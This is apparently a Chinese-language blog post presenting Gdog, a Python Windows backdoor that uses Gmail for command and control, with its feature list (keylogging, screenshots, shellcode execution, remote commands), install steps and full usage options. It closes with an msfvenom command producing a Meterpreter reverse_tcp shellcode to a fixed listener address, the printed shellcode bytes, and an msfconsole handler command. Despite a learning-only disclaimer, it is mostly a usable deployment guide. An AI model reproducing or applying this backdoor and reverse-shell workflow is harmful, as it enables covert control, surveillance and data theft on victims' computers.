基于Python使用Gmail通信Windows后门工具―Gdog

基于Python使用Gmail通信Windows后门工具―Gdog

  *本工具仅供安全学习和教学用途,禁止非法使用

  Gdog是一款基于Python,以Gmail作为命令和控制服务器的Winddows后门工具,具有隐蔽性的优势,可以帮助安全测试工程师进行渗透测试工作。

  所需条件

  Python 2.x

  PyCrypto module

  WMI module

  Enum34 module

  Netifaces module

  特点

  通信数据加密(AES)+SHA256哈希

  使用系统信息生成唯一的id(SHA256哈希)

  Job IDs是随机的SHA256哈希

  获取系统信息

  获取地理信息(城市,国家,经度,纬度 等等)

  获取运行的进程、服务、用户、设备(硬件)

  获取客户端列表

  执行系统命令

  从客户端下载文件

  上传文件至客户端

  执行shellcode

  截屏

  锁定客户端屏幕

  键盘记录

  关闭或重启远程计算机

  注销当前用户

  从WEB下载文件

  访问网站

  给用户弹消息框

  设置

  你需要做如下工作:

  一个Gmail账户(使用一个专用账号!不要用你的个人账号!)。

  在账户的安全设置中打开“Allow less secure apps”。

  在账户设置中启动IMAP。

  下载/安装

  https://sourceforge.net/projects/pywin32

  git clone https://github.com/maldevel/gdog

  pip install -r requirements.txt –user

  目录

  gdog.py 一个用来枚举命令、向客户端发送命令的脚本

  client.py 实际要部署的后门

  你可能需要用Pyinstaller把client.py编译成一个可执行文件。

  注意:建议你使用32位的Python installation编译client.py。

  使用方法

  __

  ____ _____/ /___ ____ _

  / __ `/ __ / __ // __ `/

  / /_/ / /_/ / /_/ / /_/ /

  /__, //__,_//____//__, /

  /____/ /____/

  可选参数:

  -h, –help 显示帮助信息并退出

  -v, –version 显示程序的版本并退出

  -id ID 目标客户端

  -jobid JOBID 获取Job id

  -list 列出可用的客户端

  -info 获取特定客户端的信息

  命令:

  在目标上执行的命令

  -cmd CMD 执行系统命令

  -visitwebsite URL 访问网站

  -message TEXT TITLE 向用户显示信息

  -tasks 获取运行的进程

  -services 获取系统服务

  -users 获取用户

  -devices 获取设备(硬件)

  -download PATH 从客户端下载文件

  -download-fromurl URL

  从web下载文件

  -upload SRC DST 上传文件至客户端

  -exec-shellcode FILE 在客户端执行提供的shellcode

  -screenshot 截屏

  -lock-screen 锁定客户端屏幕

  -shutdown 关闭远程计算机

  -restart 重启远程计算机

  -logoff 注销远程计算机用户

  -start-keylogger 开始键盘记录

  -stop-keylogger 停止键盘记录

  执行shellcode

  $ ./msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform Windows EXITFUNC=thread LPORT=4444 LHOST=172.16.153.1 -f python

  No encoder or badchars specified, outputting raw payload

  Payload size: 354 bytes

  buf = “”

  buf += “/xfc/xe8/x82/x00/x00/x00/x60/x89/xe5/x31/xc0/x64/x8b”

  buf += “/x50/x30/x8b/x52/x0c/x8b/x52/x14/x8b/x72/x28/x0/xb7”

  buf += “/x4a/x26/x31/xff/xac/x3c/x61/x7c/x02/x2c/x20/xc1/xcf”

  buf += “/x0d/x01/xc7/xe2/xf2/x52/x57/x8b/x52/x10/x8b/x4a/x3c”

  buf += “/x8b/x4c/x11/x78/xe3/x48/x01/xd1/x51/x8b/x59/x20/x01”

  buf += “/xd3/x8b/x49/x18/xe3/x3a/x49/x8b/x34/x8b/x01/xd6/x31”

  buf += “/xff/xac/xc1/xcf/x0d/x01/xc7/x38/xe0/x75/xf6/x03/x7d”

  buf += “/xf8/x3b/x7d/x24/x75/xe4/x58/x8b/x58/x24/x01/xd3/x66”

  buf += “/x8b/x0c/x4b/x8b/x58/x1c/x01/xd3/x8b/x04/x8b/x01/xd0”

  buf += “/x89/x44/x24/x24/x5b/x5b/x61/x59/x5a/x51/xff/xe0/x5f”

  buf += “/x5f/x5a/x8b/x12/xeb/x8d/x5d/x68/x33/x32/x00/x00/x68”

  buf += “/x77/x73/x32/x5f/x54/x68/x4c/x77/x26/x07/xff/xd5/xb8”

  buf += “/x90/x01/x00/x00/x29/xc4/x54/x50/x68/x29/x80/x6b/x00”

  buf += “/xff/xd5/x6a/x05/x68/xac/x10/x99/x01/x68/x02/x00/x11”

  buf += “/x5c/x89/xe6/x50/x50/x50/x50/x40/x50/x40/x50/x68/xea”

  buf += “/x0f/xdf/xe0/xff/xd5/x97/x6a/x10/x56/x57/x68/x99/xa5”

  buf += “/x74/x61/xff/xd5/x85/xc0/x74/x0a/xff/x4e/x08/x75/xec”

  buf += “/xe8/x61/x00/x00/x00/x6a/x00/x6a/x04/x56/x57/x68/x02”

  buf += “/xd9/xc8/x5f/xff/xd5/x83/xf8/x00/x7e/x36/x8b/x36/x6a”

  buf += “/x40/x68/x00/x10/x00/x00/x56/x6a/x00/x68/x58/xa4/x53”

  buf += “/xe5/xff/xd5/x93/x53/x6a/x00/x56/x53/x57/x68/x02/xd9”

  buf += “/xc8/x5f/xff/xd5/x83/xf8/x00/x7d/x22/x58/x68/x00/x40”

  buf += “/x00/x00/x6a/x00/x50/x68/x0b/x2f/x0f/x30/xff/xd5/x57”

  buf += “/x68/x75/x6e/x4d/x61/xff/xd5/x5e/x5e/xff/x0c/x24/xe9”

  buf += “/x71/xff/xff/xff/x01/xc3/x29/xc6/x75/xc7/xc3/xbb/xe0”

  buf += “/x1d/x2a/x0a/x68/xa6/x95/xbd/x9d/xff/xd5/x3c/x06/x7c”

  buf += “/x0a/x80/xfb/xe0/x75/x05/xbb/x47/x13/x72/x6f/x6a/x00”

  buf += “/x53/xff/xd5”

  只把shellcode写入到到文件中,其它都不要。

  $ cat shell.txt /xfc/xe8/x82/x00/x00/x00/x60/x89/xe5/x31/xc0/x64/x8b/x50/x30/x8b/x52/x0c/x8b/x52/x14/x8b/x72/x28/x0f/xb7/x4a/x26/x31/xff/xac/x3c/x61/x7c/x02/x2c/x20/xc1/xcf/x0d/x01/xc7/xe2/xf2/x52/x57/x8b/x52/x10/x8b/x4a/x3c/x8b/x4c/x11/x78/xe3/x48/x01/xd1/x51/x8b/x59/x20/x01/xd3/x8b/x49/x18/xe3/x3a/x49/x8b/x34/x8b/x01/xd6/x31/xff/xac/xc1/xcf/x0d/x01/xc7/x38/xe0/x75/xf6/x03/x7d/xf8/x3b/x7d/x24/x75/xe4/x58/x8b/x58/x24/x01/xd3/x66/x8b/x0c/x4b/x8b/x58/x1c/x01/xd3/x8b/x04/x8b/x01/xd0/x89/x44/x24/x24/x5b/x5b/x61/x59/x5a/x51/xff/xe0/x5f/x5f/x5a/x8b/x12/xeb/x8d/x5d/x68/x33/x32/x00/x00/x68/x77/x73/x32/x5f/x54/x68/x4c/x77/x26/x07/xff/xd5/xb8/x90/x01/x00/x00/x29/xc4/x54/x50/x68/x29/x80/x6b/x00/xff/xd5/x6a/x05/x68/xac/x10/x99/x01/x68/x02/x00/x11/x5c/x89/xe6/x50/x50/x50/x50/x40/x50/x40/x50/x68/xea/x0f/xdf/xe0/xff/xd5/x97/x6a/x10/x56/x57/x68/x99/xa5/x74/x61/xff/xd5/x85/xc0/x74/x0a/xff/x4e/x08/x75/xec/xe8/x61/x00/x00/x00/x6a/x00/x6a/x04/x56/x57/x68/x02/xd9/xc8/x5f/xff/xd5/x83/xf8/x00/x7e/x36/x8b/x36/x6a/x40/x68/x00/x10/x00/x00/x56/x6a/x00/x68/x58/xa4/x53/xe5/xff/xd5/x93/x53/x6a/x00/x56/x53/x57/x68/x02/xd9/xc8/x5f/xff/xd5/x83/xf8/x00/x7d/x22/x58/x68/x00/x40/x00/x00/x6a/x00/x50/x68/x0b/x2f/x0f/x30/xff/xd5/x57/x68/x75/x6e/x4d/x61/xff/xd5/x5e/x5e/xff/x0c/x24/xe9/x71/xff/xff/xff/x01/xc3/x29/xc6/x75/xc7/xc3/xbb/xe0/x1d/x2a/x0a/x68/xa6/x95/xbd/x9d/xff/xd5/x3c/x06/x7c/x0a/x80/xfb/xe0/x75/x05/xbb/x47/x13/x72/x6f/x6a/x00/x53/xff/xd5

  在控制台运行

  ./msfconsole -x “use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 172.16.153.1; run”

发表评论